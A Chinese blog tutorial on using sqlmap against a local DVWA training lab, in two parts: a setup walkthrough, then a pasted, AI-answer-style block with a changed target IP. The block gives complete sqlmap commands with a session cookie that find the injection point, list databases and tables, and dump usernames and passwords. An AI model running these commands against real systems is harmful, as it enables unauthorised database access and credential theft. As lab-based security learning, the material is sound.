利用DVWA学习sqlmap(1)

本文详细介绍了如何在受害机器上配置DVWA环境,包括下载源代码、使用phpstudy搭建web服务以及修改配置文件。接着在攻击机kali上,通过ping测试靶机连通性,寻找SQL注入点并利用cookies进行会话保持。进一步,利用sqlmap获取数据库信息、表和列,最终提取出用户名与密码,展示了完整的SQL注入过程。

首先我们要在一台机器上配置dvwa环境

下载地址
https://github.com/ethicalhack3r/DVWA
把DVWA的源代码下载好之后,我们需要在受害机器上配置web服务,并配置dvwa
这里我使用的是phpstudy,因为它比较方便
把dvwa的源代码解压到phpstudy的www目录下,并到./config目录下修改配置文件把root和passwd修改为当前机器的数据库密码
打开dvwa,点击creatdatabase,成功之后修改安全等级为low
这样我们就完成了受害机器的配置。

第一步

接下来我们在攻击机器,我这里用的是kali,首先看看靶机能否ping通,然后我们第一步需要寻找注入点,这个可以利用工具寻找,不过我为了方便直接在靶机上点sql injection然后随便输入一个id
寻找注入点
然后我们尝试url注入能否成功

sqlmap -u "http://192.168.7.28/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
为了使用 sqlmapDVWA(Damn Vulnerable Web Application)进行 SQL 注入测试,可以按照以下步骤操作: 1. **确保环境准备就绪**: - 确保 DVWA 已经正确安装并运行在服务器上。 - 确保可以访问 DVWA 的 SQL 注入漏洞页面。通常情况下,该页面的 URL 类似于 `http://<dvwa_ip>/vulnerabilities/sqli/?id=1&Submit=Submit`。 2. **获取 Cookie 信息**: - 登录 DVWA获取会话 Cookie。DVWA 通常需要登录才能访问某些漏洞页面。可以通过浏览器开发者工具使用 `curl` 命令来获取 Cookie。 3. **检测 SQL 注入点**: - 使用 sqlmap 检测目标 URL 是否存在 SQL 注入漏洞。示例命令如下: ```bash sqlmap -u "http://192.168.88.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=q5bd6pv47cdq3rhugepne54lu4" ``` 这条命令将对指定 URL 进行 SQL 注入检测,并使用提供的 Cookie 来保持会话 [^2]。 4. **获取数据库信息**: - 如果检测到 SQL 注入漏洞,可以进一步获取数据库的相关信息,如数据库类型、版本等。例如: ```bash sqlmap -u "http://192.168.88.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=q5bd6pv47cdq3rhugepne54lu4" --banner ``` 5. **枚举数据库列表**: - 获取当前数据库服务器上的所有数据库名称: ```bash sqlmap -u "http://192.168.88.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=q5bd6pv47cdq3rhugepne54lu4" --dbs ``` 6. **枚举表名**: - 获取特定数据库中的所有表名。假设目标数据库为 `dvwa`: ```bash sqlmap -u "http://192.168.88.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=q5bd6pv47cdq3rhugepne54lu4" -D dvwa --tables ``` 7. **枚举列名**: - 获取某个表的所有列名。假设目标表为 `users`: ```bash sqlmap -u "http://192.168.88.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=q5bd6pv47cdq3rhugepne54lu4" -D dvwa -T users --columns ``` 8. **提取数据**: - 提取特定列的数据。例如,提取 `users` 表中 `user` 和 `password` 列的数据: ```bash sqlmap -u "http://192.168.88.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=q5bd6pv47cdq3rhugepne54lu4" -D dvwa -T users -C user,password --dump ``` 9. **自动化与批处理**: - 使用 `--batch` 参数可以让 sqlmap 在非交互模式下运行,自动选择默认选项。这适用于自动化脚本或快速测试: ```bash sqlmap -u "http://192.168.88.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=q5bd6pv47cdq3rhugepne54lu4" --batch ``` 10. **结果保存**: - 使用 `--output-dir` 参数指定输出目录,以保存 sqlmap 的所有输出结果: ```bash sqlmap -u "http://192.168.88.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=q5bd6pv47cdq3rhugepne54lu4" --output-dir=/path/to/output ``` 通过上述步骤,可以有效地利用 sqlmapDVWA 进行 SQL 注入测试,并获取数据库中的敏感信息 [^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值